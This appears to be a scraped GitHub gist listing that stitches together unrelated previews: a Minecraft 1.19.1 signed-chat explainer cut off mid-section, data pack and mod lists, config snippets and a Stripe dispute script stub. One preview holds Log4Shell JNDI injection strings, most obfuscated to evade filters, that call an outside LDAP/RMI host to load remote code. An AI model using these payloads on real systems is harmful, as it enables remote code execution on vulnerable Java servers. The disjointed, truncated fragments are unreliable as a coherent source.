Mathéo Cimbaro DiscowZombie

Signed chat

This gist intends on clearing up some of the misinformation surrounding signed chat/the reporting feature Mojang has added to Minecraft 1.19.1. Here you can find both technical information as well as a general explanation of how these work.

Profile keys

After joining a server, clients now send a profile key used for verifying a message's authenticity. This key and thus the whole signing process is optional, but by default, servers enforce secure profiles for clients to send chat messages. Whenever the player sends a chat message and has a key associated, the message will be signed using their own private key, which the server then verifies using the public key sent after join. Assuming signature, timestamp, and message contents line up, the message goes through.

On the other end, clients can also require all broadcasted player messages to be signed, disregarding the ones without sender verified signatures.

Message signatures

⚠️ This guide has moved ⚠️

Updates for both 1.18.2 and newer versions can be found at https://minecraft.wiki/w/Tutorial:Custom_structures

Custom data pack structures in 1.18.2

This guide will showcase how to create a data pack that adds a custom structure to the world. There is also a data pack download of this complete example.

Always leave the world and rejoin to apply the new changes!

Pack.mcmeta

Performance Mods

A list of performance-enhancing mods for 1.18.x forge/fabric versions.

Any suggestions/complaints?
Join our discord or use the gist comments.

Fabric 1.18.X

Mojang Meta URLs

Piston Meta

Minecraft Java Edition Versions

Dungeons

dungeons/windows-x64

Generator Settings

20w21a

Table of Contents
Noise `size_horizontal` and `size_vertical` `density_factor` and `density_offset` `sampling` `top_slide` and `bottom_slide`
Structures `spacing` and `separation` `salt`

External Links

Wiki Documentation

	${jndi:ldap://127.0.0.1:1389/ badClassName}
	${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
	${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
	${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
	${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
	${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
	${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
	${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
	${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
	${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}

	version: "3.6"
	services:
	gitlab:
	image: gitlab/gitlab-ce
	volumes:
	- gitlab-data:/var/opt/gitlab
	- gitlab-logs:/var/log/gitlab
	- gitlab-config:/etc/gitlab
	networks:
	- traefik-public

	---
	- name: Setup SBC
	hosts: all
	#become: true
	#become_user: root
	gather_facts: false

	vars:
	#New user to be created
	new_user: newuser

	modLoader = "javafml"
	loaderVersion = "[24,)"

	[[mods]]
	modId = "origins"
	version = "1.0"
	displayName = "Origins"
	description = "test"

	[[dependencies.origins]]

	<?

	// this script receives a Stripe dispute / chargeback and:
	//
	// - immediately refunds the payment
	// - closes the user's account (in my DB, add your own code there)
	//
	// this is to automate dispute handling (because you never win a dispute on Stripe anyway)
	// and by refunding avoiding the chargeback fee
	//